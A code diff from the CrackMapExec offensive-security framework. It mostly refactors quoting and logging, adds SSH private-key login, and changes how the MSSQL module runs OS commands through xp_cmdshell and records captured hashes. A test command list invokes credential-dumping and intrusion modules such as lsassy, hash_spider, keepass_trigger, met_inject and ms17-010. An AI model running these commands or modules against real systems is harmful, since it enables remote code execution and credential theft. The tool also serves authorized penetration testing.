self.hostname = smb_conn.getServerName()
self.server_os = smb_conn.getServerOS()
self.logger.extra['hostname'] = self.hostname
self.logger.extra["hostname"] = self.hostname
try:
smb_conn.logoff()
@ -134,7 +134,7 @@ class mssql(connection):
def create_conn_obj(self):
try:
self.conn = tds.MSSQL(self.host, self.args.port, rowsPrinter=self.logger)
self.conn = tds.MSSQL(self.host, self.args.port)
self.conn.connect()
except socket.error:
return False
@ -145,19 +145,18 @@ class mssql(connection):
try:
results = self.conn.sql_query("SELECT IS_SRVROLEMEMBER('sysadmin')")
is_admin = int(results[0][""])
if is_admin:
self.admin_privs = True
self.logger.debug(f"User is admin")
else:
return False
except Exception as e:
self.logger.fail(f"Error calling check_if_admin(): {e}")
self.logger.fail(f"Error querying for sysadmin role: {e}")
return False
if is_admin:
self.admin_privs = True
self.logger.debug(f"User is admin")
else:
return False
return True
def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False):
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
try:
self.conn.disconnect()
except:
@ -165,15 +164,15 @@ class mssql(connection):
self.create_conn_obj()
logging.getLogger("impacket").disabled = True
nthash = ''
nthash = ""
hashes = None
if ntlm_hash != '':
if ntlm_hash.find(':') != -1:
if ntlm_hash != "":
if ntlm_hash.find(":") != -1:
hashes = ntlm_hash
nthash = ntlm_hash.split(':')[1]
nthash = ntlm_hash.split(":")[1]
else:
# only nt hash
hashes = ':%s' % ntlm_hash
hashes = f":{ntlm_hash}"
nthash = ntlm_hash
if not all('' == s for s in [self.nthash, password, aesKey]):
@ -188,7 +187,7 @@ class mssql(connection):
self.password = password
if username == '' and useCache:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
principal = ccache.principal.toPrincipal()
self.username = principal.components[0]
username = principal.components[0]
@ -281,9 +280,9 @@ class mssql(connection):
res = self.conn.login(
None,
username,
'',
"",
domain,
':' + nthash if not lmhash else ntlm_hash,
":" + nthash if not lmhash else ntlm_hash,
not self.args.local_auth
)
if res is not True:
@ -294,10 +293,10 @@ class mssql(connection):
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential('hash', domain, username, ntlm_hash)
self.db.add_credential("hash", domain, username, ntlm_hash)
if self.admin_privs:
self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host)
self.db.add_admin_user("hash", domain, username, ntlm_hash, self.host)
out = u"{}\\{} {} {}".format(
domain,
@ -318,46 +317,49 @@ class mssql(connection):
return False
def mssql_query(self):
self.conn.sql_query(self.args.mssql_query)
self.conn.printRows()
result = self.conn.sql_query(self.args.mssql_query)
self.logger.debug(f"SQL Query Result: {result}")
for line in StringIO(self.conn._MSSQL__rowsPrinter.getMessage()).readlines():
if line.strip() != '':
self.logger.highlight(line.strip())
return self.conn._MSSQL__rowsPrinter.getMessage()
@requires_admin
def execute(self, payload=None, get_output=False, methods=None):
def execute(self, payload=None, print_output=False):
if not payload and self.args.execute:
payload = self.args.execute
if not self.args.no_output: get_output = True
self.logger.info(f"Command to execute:\n{payload}")
exec_method = MSSQLEXEC(self.conn)
raw_output = exec_method.execute(payload, get_output)
self.logger.info("Executed command via mssqlexec")
try:
exec_method = MSSQLEXEC(self.conn)
raw_output = exec_method.execute(payload, print_output)
self.logger.info("Executed command via mssqlexec")
self.logger.debug(f"Raw output: {raw_output}")
except Exception as e:
self.logger.exception(e)
return None
if hasattr(self, "server"):
self.server.track_host(self.host)
output = f"{raw_output}"
if self.args.execute or self.args.ps_execute:
#self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
self.logger.success("Executed command via mssqlexec")
buf = StringIO(output).readlines()
for line in buf:
if line.strip() != '':
self.logger.highlight(line.strip())
if self.args.no_output:
self.logger.debug(f"Output set to disabled")
else:
for line in raw_output:
self.logger.highlight(line)
return output
return raw_output
@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=True):
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output: get_output = True
if not self.args.no_output:
get_output = True
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method (probably an escaping issue)
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method
ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
return self.execute(ps_command, get_output)
@ -387,49 +389,47 @@ class mssql(connection):
except Exception as e:
self.logger.fail(f"Error reading file {self.args.get_file[0]}: {e}")
# We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
# The whole tds library in impacket needs a good overhaul to preserve my sanity
def printRepliesCME(self):
for keys in self.replies.keys():
for i, key in enumerate(self.replies[keys]):
if key["TokenType"] == TDS_ERROR_TOKEN:
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
self.lastError = SQLErrorException(
f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
)
self._MSSQL__rowsPrinter.error(error)
# We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
# The whole tds library in impacket needs a good overhaul to preserve my sanity
def printRepliesCME(self):
for keys in self.replies.keys():
for i, key in enumerate(self.replies[keys]):
if key["TokenType"] == TDS_ERROR_TOKEN:
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
self.lastError = SQLErrorException(
f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
)
self._MSSQL__rowsPrinter.error(error)
elif key["TokenType"] == TDS_INFO_TOKEN:
self._MSSQL__rowsPrinter.info(
f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
)
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
self._MSSQL__rowsPrinter.info(
f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) "
)
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN:
if key["Type"] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
record = TDS_ENVCHANGE_VARCHAR(key["Data"])
if record["OldValue"] == "":
record["OldValue"] = "None".encode('utf-16le')
elif record["NewValue"] == '':
record["NewValue"] = "None".encode('utf-16le')
if key["Type"] == TDS_ENVCHANGE_DATABASE:
_type = "DATABASE"
elif key["Type"] == TDS_ENVCHANGE_LANGUAGE:
_type = "LANGUAGE"
elif key["Type"] == TDS_ENVCHANGE_CHARSET:
_type = "CHARSET"
elif key["Type"] == TDS_ENVCHANGE_PACKETSIZE:
_type = "PACKETSIZE"
else:
_type = f"{key['Type']:d}"
elif key["TokenType"] == TDS_INFO_TOKEN:
self._MSSQL__rowsPrinter.info(
f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}"
f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
)
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
self._MSSQL__rowsPrinter.info(
f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) "
)
tds.MSSQL.printReplies = printRepliesCME
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN:
if key["Type"] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
record = TDS_ENVCHANGE_VARCHAR(key["Data"])
if record["OldValue"] == "":
record["OldValue"] = "None".encode('utf-16le')
elif record["NewValue"] == '':
record["NewValue"] = "None".encode('utf-16le')
if key["Type"] == TDS_ENVCHANGE_DATABASE:
_type = "DATABASE"
elif key["Type"] == TDS_ENVCHANGE_LANGUAGE:
_type = "LANGUAGE"
elif key["Type"] == TDS_ENVCHANGE_CHARSET:
_type = "CHARSET"
elif key["Type"] == TDS_ENVCHANGE_PACKETSIZE:
_type = "PACKETSIZE"
else:
_type = f"{key['Type']:d}"
self._MSSQL__rowsPrinter.info(
f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}"
)
tds.MSSQL.printReplies = printRepliesCME

View File

@ -8,26 +8,40 @@ from cme.logger import cme_logger
class MSSQLEXEC:
def __init__(self, connection):
self.mssql_conn = connection
self.outputBuffer = ''
self.outputBuffer = ""
def execute(self, command, output=False):
command_output = []
try:
self.enable_xp_cmdshell()
self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
if output:
self.mssql_conn.printReplies()
self.mssql_conn.colMeta[0]["TypeData"] = 80 * 2
self.mssql_conn.printRows()
self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
if len(self.outputBuffer):
self.outputBuffer = self.outputBuffer.split('\n', 2)[2]
self.disable_xp_cmdshell()
return self.outputBuffer
except Exception as e:
cme_logger.debug(f"Error executing command via mssqlexec: {e}")
cme_logger.error(f"Error when attempting to enable x_cmdshell: {e}")
try:
result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
cme_logger.debug(f"SQL Query Result: {result}")
for row in result:
if row["output"] == "NULL":
continue
command_output.append(row["output"])
except Exception as e:
cme_logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
if output:
cme_logger.debug(f"Output is enabled")
for row in command_output:
cme_logger.display(row)
# self.mssql_conn.printReplies()
# self.mssql_conn.colMeta[0]["TypeData"] = 80 * 2
# self.mssql_conn.printRows()
# self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
# if len(self.outputBuffer):
# self.outputBuffer = self.outputBuffer.split('\n', 2)[2]
try:
self.disable_xp_cmdshell()
except Exception as e:
cme_logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
return command_output
# return self.outputBuffer
def enable_xp_cmdshell(self):
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")

View File

@ -725,7 +725,7 @@ class smb(connection):
if method == "wmiexec":
try:
exec_method = WMIEXEC(
self.host if not self.kerberos else self.hostname + '.' + self.domain,
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.smb_share_name,
self.username,
self.password,
@ -746,7 +746,7 @@ class smb(connection):
elif method == "mmcexec":
try:
exec_method = MMCEXEC(
self.host if not self.kerberos else self.hostname + '.' + self.domain,
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.smb_share_name,
self.username,
self.password,

View File

@ -2,6 +2,9 @@
# -*- coding: utf-8 -*-
import logging
import sys
from io import StringIO
import paramiko
from cme.config import process_secret
@ -12,9 +15,10 @@ from paramiko.ssh_exception import AuthenticationException, NoValidConnectionsEr
class ssh(connection):
def __init__(self, args, db, host):
super().__init__(args, db, host)
self.protocol = "SSH"
self.remote_version = None
self.server_os = None
super().__init__(args, db, host)
@staticmethod
@ -116,23 +120,30 @@ class ssh(connection):
self.admin_privs = True
return True
def plaintext_login(self, username, password):
def plaintext_login(self, username, password, private_key=None):
try:
if self.args.key_file:
self.logger.debug(f"Logging in with keyfile: {self.args.key_file}")
with open(self.args.key_file, "r") as f:
key_data = f.read()
if self.args.key_file or private_key:
if private_key:
pkey = paramiko.RSAKey.from_private_key(StringIO(private_key))
else:
pkey = paramiko.RSAKey.from_private_key_file(self.args.key_file)
self.logger.debug(f"Logging in with key")
self.conn.connect(
self.host,
port=self.args.port,
username=username,
passphrase=password,
key_filename=self.args.key_file,
passphrase=password if password != "" else None,
pkey=pkey,
look_for_keys=False,
allow_agent=False
)
cred_id = self.db.add_credential("key", username, password, key=key_data)
if private_key:
cred_id = self.db.add_credential("key", username, password if password != "" else "", key=private_key)
else:
with open(self.args.key_file, "r") as f:
key_data = f.read()
cred_id = self.db.add_credential("key", username, password if password != "" else "", key=key_data)
else:
self.logger.debug(f"Logging in with password")
self.conn.connect(

View File

@ -289,7 +289,7 @@ class database:
q = q.filter(
self.KeysTable.c.credid == cred_id
)
results = self.sess.execute(q)
results = self.sess.execute(q).all()
return results
def add_admin_user(self, credtype, username, secret, host_id=None, cred_id=None):
@ -408,7 +408,10 @@ class database:
self.CredentialsTable.c.credtype == cred_type
)
results = self.sess.execute(q).first()
return results.id
if results is None:
return None
else:
return results.id
def is_host_valid(self, host_id):
"""

View File

@ -7,7 +7,7 @@ from cme.cmedb import DatabaseNavigator, print_table, print_help
class navigator(DatabaseNavigator):
def display_creds(self, creds):
data = [["CredID", "Admin On", "Total Login", "Total Shell", "Username", "Password", "CredType"]]
data = [["CredID", "Admin On", "Total Logins", "Total Shells", "Username", "Password", "CredType"]]
for cred in creds:
cred_id = cred[0]

View File

@ -1,5 +1,5 @@
##### SMB
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS # need an extra space after this command due to regex
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --shares
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --shares --filter-shares READ WRITE
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --pass-pol
@ -44,11 +44,12 @@ crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M hash_spider
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M impersonate
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M install_elevated
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ioxidresolver
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_discover
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"
# currently hanging indefinitely - TODO: look into this
#crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_discover
#crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml"
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M lsassy
# You must replace this with the proper CA information!
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA"
#crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA"
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ms17-010
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M msol
@ -189,3 +190,7 @@ crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=enable
##### RDP
crackmapexec rdp TARGET -u USERNAME -p PASSWORD KERBEROS
crackmapexec rdp TARGET -u USERNAME -p PASSWORD KERBEROS --nla-screenshot
##### SSH - Uncomment these lines to test SSH; requires the private key "test_key" in the local directory
#crackmapexec ssh TARGET -u USERNAME -p PASSWORD KERBEROS
#crackmapexec ssh TARGET -u USERNAME -p PASSWORD --key-file test_key
#crackmapexec ssh TARGET -u USERNAME --key-file test_key